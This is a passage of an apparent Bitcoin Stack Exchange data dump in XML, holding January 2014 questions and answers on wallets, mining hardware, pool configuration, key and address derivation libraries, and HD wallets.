of my transactions or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously (before buying the SSD) the wallet still showed my BTCs despite it not being fully synchronized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to run Bitcoin-Qt with the &lt;code&gt;-rescan&lt;/code&gt; command, but this didn't help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to see if my coins still are there and to get them back? I'm afraid that if I let it synchronize fully then all this becomes somehow permanent..&lt;/p&gt;&#xA;" OwnerUserId="11729" LastEditorUserId="1405" LastEditDate="2014-01-04T20:51:48.540" LastActivityDate="2022-09-26T04:05:28.140" Title="Bitcoin wallet shows empty after I installed Windows on SSD" Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19763" PostTypeId="2" ParentId="10096" CreationDate="2014-01-03T15:17:59.960" Score="0" Body="&lt;p&gt;you also need to add &quot;sharelog&quot; : true, otherwise it will not record your shares.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &quot;sharelog&quot; : true,&#xA;            &quot;stmt.pwdb&quot;:&quot;SELECT `password` FROM `btcWorkers`.`pool_worker` WHERE username = ?&quot;,&#xA;            &quot;stmt.sharelog&quot;:&quot;INSERT INTO shares (rem_host, username, our_result, upstream_result, reason, solution) VALUES (?, ?, ?, ?, ?, ?)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11728" LastActivityDate="2014-01-03T15:17:59.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19764" PostTypeId="2" ParentId="19760" CreationDate="2014-01-03T15:30:33.003" Score="2" Body="&lt;p&gt;It really depends on which kind of card. &#xA;If it's a GPU you can mine whatever you want. &#xA;If its an FPGA which you can reprogram you can switch to the scrypt algorithm too. &#xA;If you purchase an ASICS (i.e. &lt;a href=&quot;http://www.butterflylabs.com/&quot; rel=&quot;nofollow&quot;&gt;butterflylabs&lt;/a&gt;) this means it's optimized to work with SHA-256 algorithm only and will therefore not work for &quot;scrypt-coins&quot; (dodge, ltc, ...).&lt;/p&gt;&#xA;" OwnerUserId="4671" LastActivityDate="2014-01-03T15:30:33.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19766" PostTypeId="2" ParentId="19760" CreationDate="2014-01-03T15:47:47.080" Score="5" Body="&lt;p&gt;ASICs (Application-specific integrated circuits) are especially manufactured for one specific hashing algorithm. Therefore, a Bitcoin ASIC using SHA-256 will not work for Litecoin or Dogecoin as they both use Scrypt. One example for ASICs are the Butterfly bitcoin miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are altcoins that also use SHA-256, such as Freicoin, Peercoin or Namecoin. An overview can be found at &lt;a href=&quot;http://altcoins.com/&quot; rel=&quot;nofollow&quot;&gt;altcoins.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU and GPU can be used for any Coin, but the number of hashes will be different. A card mining SHA-256 (Bitcoin) at 10GH/s will produce much fewer hashes in Scrypt (Litecoin, Dogecoin), because Scrypt is much more complex. &lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-03T22:03:09.447" LastActivityDate="2014-01-03T22:03:09.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19768" PostTypeId="1" CreationDate="2014-01-03T16:38:57.707" Score="2" ViewCount="2569" Body="&lt;p&gt;I'm using a Bitcoin Miner on Btc Guild. It's showing &lt;code&gt;12 Accepted, 0 Rejected&lt;/code&gt;. What does that mean?&lt;/p&gt;&#xA;" OwnerUserId="11730" LastEditorUserId="5406" LastEditDate="2016-03-14T19:40:04.207" LastActivityDate="2016-03-14T19:40:04.207" Title="What does the Accepted/Rejected mean?" Tags="|mining-pools|terminology|mining-pool-shares|btcguild|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19769" PostTypeId="2" ParentId="19760" CreationDate="2014-01-03T17:12:21.233" Score="2" Body="&lt;p&gt;Now that I think of it, &lt;a href=&quot;http://bitcoinmagazine.com/8972/quarkcoin-noble-intentions-wrong-approach/&quot; rel=&quot;nofollow&quot;&gt;since Quarkcoin applies several different hash functions in series&lt;/a&gt;, and one of them is precisely good-old SHA-256, you could theoretically use that box to speed-up quarkcoin mining by changing the miner software to take advantage of the ASIC's hash power just for that small step, then take the result back to the CPU for further processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'd require significant changes to the miner, of course, and I don't think gains of more than 15% could be seen - and probably that number's too optimistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So besides freicoin, tigercoin and others that use pure SHA-256 as their proof-of-work, here's another coin whose mining could potentially benefit from a spicy &lt;em&gt;Jalapeño&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-03T17:12:21.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19771" PostTypeId="1" AcceptedAnswerId="20205" CreationDate="2014-01-03T17:21:49.103" Score="4" ViewCount="991" Body="&lt;p&gt;I setup p2pool for Dogecoin. It seems to work fine, only it submits every single share to the Dogecoin client. The client naturally rejects blocks with insufficient PoW. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this how it should work? Is there a parameter that would cause p2pool to submit only valid blocks that meet the required difficulty? &lt;/p&gt;&#xA;" OwnerUserId="3806" LastActivityDate="2014-01-14T13:26:41.540" Title="Should p2pool submit all shares?" Tags="|p2pool|dogecoin|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19772" PostTypeId="2" ParentId="19768" CreationDate="2014-01-03T17:38:06.187" Score="1" Body="&lt;p&gt;This means the pool has accepted 12 shares from your miner.  It indicates that you have configured the application correctly and the pool is accepting your workers shares.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-01-03T17:38:06.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19773" PostTypeId="2" ParentId="13819" CreationDate="2014-01-03T17:54:46.950" Score="0" Body="&lt;p&gt;Since this is a fresh installation with no money in it, the quickest way to get along with this little bump on the road is to uninstall it completely and reinstall it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it works, it probably is some bug in the QT, I've had the very same issue on a new installation in a new computer a few weeks ago and solved it by uninstalling/reinstalling the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't work, it means the problem is outside your client. Quick tests would be to connect your computer to a different network and see if it behaves differently. Another would be to install bitcoin on another computer after you have connected it to your network. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-03T17:54:46.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19775" PostTypeId="2" ParentId="8486" CreationDate="2014-01-03T18:45:11.720" Score="-2" Body="&lt;p&gt;Why do you think all this volatility happened? NSA is watching and all you who traded BTC for Dollars are in a heap of crap. You have to file and get a Money Transmitter license at a cost of around 1 million dollars in California. If you try to license in all the states it is around 10 million dollars for the licenses. It's the same licensing Visa or Mastercard needs to transmit money in America. I predict all mining will go off shore to avoid this taxation. They are serious about cleaning up this industry and they will come after Dwolla and a host of others that don't have the proper licenses. Fincen has a list of all the unlicensed brokers that it is going to go after on it's site. They will do anything to slow this effort down. They don't want free banking, this is a capitalist society and everyone wants to make a profit on everything.&lt;/p&gt;&#xA;" OwnerUserId="11711" LastActivityDate="2014-01-03T18:45:11.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19776" PostTypeId="2" ParentId="8057" CreationDate="2014-01-03T19:02:21.793" Score="8" Body="&lt;p&gt;I'd check out the python library PyBitcoin (&lt;a href=&quot;https://github.com/blockstack/pybitcoin&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/blockstack/pybitcoin&lt;/a&gt; or &quot;pip install pybitcoin&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty simple to get the address from the wif private key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from pybitcoin import BitcoinPrivateKey&#xA;&amp;gt;&amp;gt;&amp;gt; private_key = BitcoinPrivateKey()&#xA;&amp;gt;&amp;gt;&amp;gt; private_key.public_key().address()&#xA;'1JwSSubhmg6iPtRjtyqhUYYH7bZg3Lfy1T'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also derive a private key object from it's raw hex representation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; private_key_2 = BitcoinPrivateKey('91149ee24f1ee9a6f42c3dd64c2287781c8c57a6e8e929c80976e586d5322a3d')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S. This library also works with Litecoin, Namecoin and a bunch of other coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I'm one of the creators.&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="6767" LastEditDate="2016-02-18T00:01:45.090" LastActivityDate="2016-02-18T00:01:45.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19777" PostTypeId="2" ParentId="19753" CreationDate="2014-01-03T19:06:52.163" Score="1" Body="&lt;p&gt;Although I don't fully understand your question, I can tell you that you can get the hash of a block at height Happy using the &lt;code&gt;getblockhash&lt;/code&gt; api call:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getblockhash 277586&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will result in the block hash for the block on the main chain at height 277586.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block Explorer.com provides an online api for this api call: &lt;a href=&quot;http://blockexplorer.com/q/getblockhash&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/getblockhash&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-03T19:06:52.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19778" PostTypeId="1" AcceptedAnswerId="19801" CreationDate="2014-01-03T19:08:00.350" Score="6" ViewCount="225" Body="&lt;p&gt;The online wallet &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain.info&lt;/a&gt; allows for the fee policy to be customised:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8oDmZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Normal&quot; policy states&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Follow the fee policy suggested by the mainline bitcoin client.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the fee policy suggested by the mainline bitcoin client explicitly?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-04T02:38:26.027" Title="What is the fee policy suggested by the mainline bitcoin client?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19779" PostTypeId="2" ParentId="18373" CreationDate="2014-01-03T19:46:00.347" Score="0" Body="&lt;p&gt;There are several guides online, some of which have already been mentioned. I would also recommend the 3 guides at: &lt;a href=&quot;http://www.coinminingrigs.com&quot; rel=&quot;nofollow&quot;&gt;http://www.coinminingrigs.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11735" LastActivityDate="2014-01-03T19:46:00.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19780" PostTypeId="2" ParentId="8057" CreationDate="2014-01-03T20:07:12.563" Score="2" Body="&lt;p&gt;If I understand your problem correctly and you just want to calculate the address of a given private key, you could use brainwallet.org for that. The website is Javascript-based so you can just load the website and disconnect from the internet. &#xA;If you want it even safer, you could download the source code and open the website locally on an offline machine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brainwallet.org has quite a lot little useful address tools. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-03T20:07:12.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19781" PostTypeId="1" CreationDate="2014-01-03T20:33:49.467" Score="-2" ViewCount="268" Body="&lt;p&gt;I don't grasp how to the activities are tied together.&lt;/p&gt;&#xA;" OwnerUserId="11737" LastEditorUserId="5406" LastEditDate="2016-04-25T21:03:32.287" LastActivityDate="2016-04-25T21:03:32.287" Title="In layman's terms, can anyone explain to me how miners generate Bitcoins and process transactions at the same time?" Tags="|transactions|mining-pools|mining-theory|transaction-verification|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-04T20:57:24.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="19782" PostTypeId="2" ParentId="1389" CreationDate="2014-01-03T20:59:18.033" Score="10" Body="&lt;p&gt;Bitcoin private keys are most commonly displayed in wallet import format (WIF), also known as base58check (a number expressed in base 58 with a checksum at the end and a version byte at the beginning).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a WIF private key, you need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate an ECDSA secret exponent (the private key) using the SECP256k1 curve.&lt;/li&gt;&#xA;&lt;li&gt;Convert the secret exponent/private key into base58check format.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here are two simple ways to generate a secret exponent:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select a random number in the range [1, curve_order).&lt;/li&gt;&#xA;&lt;li&gt;Generate a random 64-character hexidecimal string (the hex string representation of a 256-bit number) and check to make sure that the number is in the range [1, curve_order). Repeat if necessary.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For SECP256k1, the curve order is 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364140 (or 115792089237316195423570985008687907852837564279074904382605163141518161494336L).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This number is extremely close to the largest 256-bit number (0xFFF...FFF in hex), so you can expect that you'll never exceed the curve order if you generate a random 256-bit number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Pieter Wuille mentioned, public keys are derived by performing point multiplication with the curve's base point and the secret exponent/private key. The resulting (x,y) coordinate is the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin address, just like the private key, is also displayed in base58check format. To get the address, we do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Calculate the hash160: ripemd160(sha256(public_key)).&lt;/li&gt;&#xA;&lt;li&gt;Convert the hash160 to base58check format.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To convert a number to base58check format, just perform the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;convert the value to a byte array and append the version byte to the beginning&lt;/li&gt;&#xA;&lt;li&gt;calculate the first 4 bytes of SHA256(SHA256(result of step 1)) and call it the checksum&lt;/li&gt;&#xA;&lt;li&gt;append the checksum to the end of the result of step 1&lt;/li&gt;&#xA;&lt;li&gt;move the result of step 3 to the keyspace &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;&lt;/li&gt;&#xA;&lt;li&gt;check how many leading zeros the original binary value had and append those to the beginning of the result of step 4&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here are the &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding#Creating_a_Base58Check_string&quot;&gt;more detailed instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you don't want to worry about any of this stuff, I would check out the python library Coinkit (&lt;a href=&quot;https://github.com/halfmoonlabs/coinkit&quot;&gt;https://github.com/halfmoonlabs/coinkit&lt;/a&gt; or &quot;pip install coinkit&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can perform simple operations like these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from coinkit.keypair import BitcoinKeypair&#xA;&amp;gt;&amp;gt;&amp;gt; hex_private_key = '91149ee24f1ee9a6f42c3dd64c2287781c8c57a6e8e929c80976e586d5322a3d'&#xA;&amp;gt;&amp;gt;&amp;gt; k = BitcoinKeypair(hex_private_key)&#xA;&amp;gt;&amp;gt;&amp;gt; k.private_key()&#xA;'91149ee24f1ee9a6f42c3dd64c2287781c8c57a6e8e929c80976e586d5322a3d'&#xA;&amp;gt;&amp;gt;&amp;gt; k.public_key()&#xA;'042c6b7e6da7633c8f226891cc7fa8e5ec84f8eacc792a46786efc869a408d29539a5e6f8de3f71c0014e8ea71691c7b41f45c083a074fef7ab5c321753ba2b3fe'&#xA;&amp;gt;&amp;gt;&amp;gt; k.wif_pk()&#xA;'5JvBUBPzU42Y7BHD7thTnySXQXMk8XEJGGQGcyBw7CCkw8RAH7m'&#xA;&amp;gt;&amp;gt;&amp;gt; k.address()&#xA;'13mtgVARiB1HiRyCHnKTi6rEwyje5TYKBW'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also create random keypairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; k = BitcoinKeypair()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And brain wallet keypairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; passphrase = 'shepherd mais pack rate enamel horace diva filesize maximum really roar mall'&#xA;&amp;gt;&amp;gt;&amp;gt; k = BitcoinKeypair().from_passphrase(passphrase)&#xA;&amp;gt;&amp;gt;&amp;gt; k.passphrase()&#xA;'shepherd mais pack rate enamel horace diva filesize maximum really roar mall'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I'm one of the creators of Coinkit.&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="6767" LastEditDate="2014-01-15T18:05:53.610" LastActivityDate="2014-01-15T18:05:53.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19783" PostTypeId="1" AcceptedAnswerId="19802" CreationDate="2014-01-03T21:09:52.600" Score="3" ViewCount="3316" Body="&lt;p&gt;I have an unconfirmed transaction. (As an experiment, I didn't add a transaction fee, and the transaction is taking a lot of time to confirm.) This is some information from blockchain.info regarding the transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yw6YL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The info &quot;queue position 427&quot; caught my eye. What exactly is the queue position?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-04T02:42:39.663" Title="What is the queue position?" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19785" PostTypeId="1" CreationDate="2014-01-03T21:49:10.120" Score="0" ViewCount="1269" Body="&lt;p&gt;Brainwallet is a well-known tool that lets you generate an address from a passphrase. I think Brainwallet just performs a &lt;a href=&quot;https://en.bitcoin.it/wiki/Brainwallet&quot; rel=&quot;nofollow&quot;&gt;single SHA256 hash&lt;/a&gt; on the passphrase to get the 256-bit private key of the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a BIP-standard formulated for this calculation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that HD wallets are making there way to become mainstream, I think it is useful to have a standard to generate an HD wallet from a passphrase. Electrum and CarbonWallet seem to already have implemented HD wallet generation from passphrase and they are using &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet#Type_2_hierarchical_deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;100,000 rounds of SHA256&lt;/a&gt;, which sounds already a much safer process than a single round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original BIP0032 that defines HD wallets doesn't define a way to generate them from passphrases (and it shouldn't), so maybe it is a good idea to make a separate BIP for this purpose if it does not already exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to switch between wallet apps just taking my master key with me. Or for HD wallets, f.e. use a different wallet for watching (using the public root key) than for signing.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="2306" LastEditDate="2015-04-22T18:21:06.753" LastActivityDate="2019-01-22T13:37:10.797" Title="Are there standardized ways of generating wallets from passphrases?" Tags="|wallet|bip32-hd-wallets|passphrase|brain-wallet|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19786" PostTypeId="1" AcceptedAnswerId="19793" CreationDate="2014-01-03T21:50:28.733" Score="2" ViewCount="159" Body="&lt;p&gt;What is the block in the blockchain with the most Bitcoins transacted?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-04T00:59:00.473" Title="Largest block (measured in Bitcoins)" Tags="|blockchain|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19787" PostTypeId="5" CreationDate="2014-01-03T21:55:52.177" Score="0" Body="&lt;p&gt;Hierarchical Deterministic wallets or HD wallets are wallets that can be shared amongst different wallet implementation with or without the ability to spend coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HD wallets allow you to differentiate a public master key with which all addresses in the wallet can be retrieved and a private master key, with which the corresponding private keys can be generated to spend the coins in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like other deterministic wallets, HD wallets need only a seed key to generate an infinite series of addresses. Unlike regular deterministic wallets, HD wallets allow you to create a wallet with all your addresses from which you cannot send coins, f.e. for safety reasons.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2014-01-03T21:55:52.177" LastActivityDate="2014-01-03T21:55:52.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19788" PostTypeId="4" CreationDate="2014-01-03T21:55:52.177" Score="0" Body="Hierarchical Deterministic wallets or HD wallets are wallets that can be shared amongst different wallet implementation with or without the ability to spend coins." OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2014-01-03T21:55:52.177" LastActivityDate="2014-01-03T21:55:52.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19789" PostTypeId="2" ParentId="16965" CreationDate="2014-01-03T22:02:35.987" Score="2" Body="&lt;p&gt;I have had the same issue. Instead of deleting blockchain data, I found that you can run the application with commandline arg to reindex and rescan:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Applications/Bitcoin-Qt.app/Contents/MacOS/Bitcoin-Qt -rescan -reindex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11740" LastActivityDate="2014-01-03T22:02:35.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19792" PostTypeId="1" AcceptedAnswerId="24709" CreationDate="2014-01-03T23:58:24.893" Score="3" ViewCount="514" Body="&lt;p&gt;I've just started toying around with the bitcoind Python wrapper (&lt;a href=&quot;http://laanwj.github.io/bitcoin-python/doc/usage.html&quot; rel=&quot;nofollow&quot;&gt;bitcoin-python&lt;/a&gt;) and have run into some issues when trying to move funds around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the client side, I have generated a new address, via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;new_addr = conn.getnewaddress(ACCT)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon calling&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;conn.getaddressesbyaccount(ACCT)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see &lt;code&gt;new_addr&lt;/code&gt; within the addresses listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now send a test transaction (~1mBTC) on blockchain.info to &lt;code&gt;new_addr&lt;/code&gt;, and have waited for some period of time, so that there is at least one confirmation in the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, upon calling&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;amount_received = btc_conn.getreceivedbyaddress(new_addr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not received any coins at that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, when attempting to find out more information about the transaction via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;btc_conn.gettransaction(tx_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;tx_id&lt;/code&gt; is given in &lt;code&gt;blockchain.info/tx/tx_id&lt;/code&gt;, I'm getting an &lt;code&gt;InvalidAddressOrKey&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there there anything I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="11745" LastActivityDate="2015-11-10T17:50:58.887" Title="bitcoin-python API not receiving funds" Tags="|bitcoind|blockchain.info|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19793" PostTypeId="2" ParentId="19786" CreationDate="2014-01-04T00:59:00.473" Score="2" Body="&lt;p&gt;I can't say that I'm certain of it, but this is the largest block I've ever seen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/block-index/168616/00000000000000fb62bbadc0a9dcda556925b2d0c1ad8634253ac2e83ab8382f&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;00000000000000fb62bbadc0a9dcda556925b2d0c1ad8634253ac2e83ab8382f&lt;/code&gt; aka nr 153509&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a total output volume of &lt;strong&gt;607,176.29050282 BTC&lt;/strong&gt;, primarily because of &lt;a href=&quot;https://blockchain.info/tx/29a3efd3ef04f9153d47a990bd7b048a4b2d213daaa5fb8ed670fb85f13bdbcf?currency=HKD&quot; rel=&quot;nofollow&quot;&gt;this 550k transaction&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-01-04T00:59:00.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19796" PostTypeId="2" ParentId="6055" CreationDate="2014-01-04T01:23:14.870" Score="0" Body="&lt;p&gt;I use bargainhost.co.uk for anonymous domain registrations, Bargainhost also accept bitcoin for payments.&lt;/p&gt;&#xA;" OwnerUserId="11749" LastActivityDate="2014-01-04T01:23:14.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19797" PostTypeId="2" ParentId="19661" CreationDate="2014-01-04T01:48:22.920" Score="12" Body="&lt;p&gt;If there is a need for them, additional decimal places can be added with concensus of the network. This is why some refer to &quot;infinite&quot; divisibility, because we can select the level that we need as time goes on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current level selected in the code (by Satoshi) is 8 decimal places (1 satoshi = 0.00000001 BTC) hence the nickname for the smallest unit currently possible for bitcoin today. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a thought exercise, if a consensus of the network (miners, but also clients and server applications for compatibility reasons) decides to update to a version of the protocol that includes 16 decimal places inspired by your post, we could end up with a new base unit (1 satoshi = 100,000,000 gracchi) as well as nanobitcoins (nBTC), picobitcoins (pBTC), and even femtobitcoins (fBTC, 10 gracchi)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have trouble imagining the need for such a thing, unless destroying bitcoin becomes a prevalent method of use. If it is needed the potential is there and will never dilute your held bitcoins, which actually makes it a problem some would love to see the need to solve.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2014-01-04T01:48:22.920" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19799" PostTypeId="1" AcceptedAnswerId="19822" CreationDate="2014-01-04T02:12:43.253" Score="3" ViewCount="468" Body="&lt;p&gt;I've &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7404/how-does-bitcoin-figure-out-what-time-it-is&quot;&gt;seen&lt;/a&gt; how nodes gather network time data, but how is it enforced in the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are all of the timestamps digitally signed and included in the block as proof?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-01-04T11:00:13.127" Title="How is network time enforced?" Tags="|security|block|network|timestamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19800" PostTypeId="2" ParentId="19762" CreationDate="2014-01-04T02:38:11.893" Score="1" Body="&lt;p&gt;Depending on how recently you purchased/mined your bitcoins, the fact that your client hasn't synced might be why you don't see any balance being shown. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that your wallet doesn't actually contain any physical data representing coins, it simply contains keys that allow you to spend the values associated with a specific address. The way that the bitcoin network determines the number of coins associated with an address is by traversing the entire blockchain and summing all of the transactions including that address. When the bitcoin qt client is syncing, it is downloading this blockchain. Therefore, if all of your transactions happened in the blocks that you have not downloaded yet, it will look like your wallet contains no coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the solution to your problem may be to just wait until the bitcoin client has fully synced. If/when your client downloads the blocks with your transactions in them, your balance will be updated. If your client syncs and you do not see your balance change, that means that the bitcoin client is not reading the 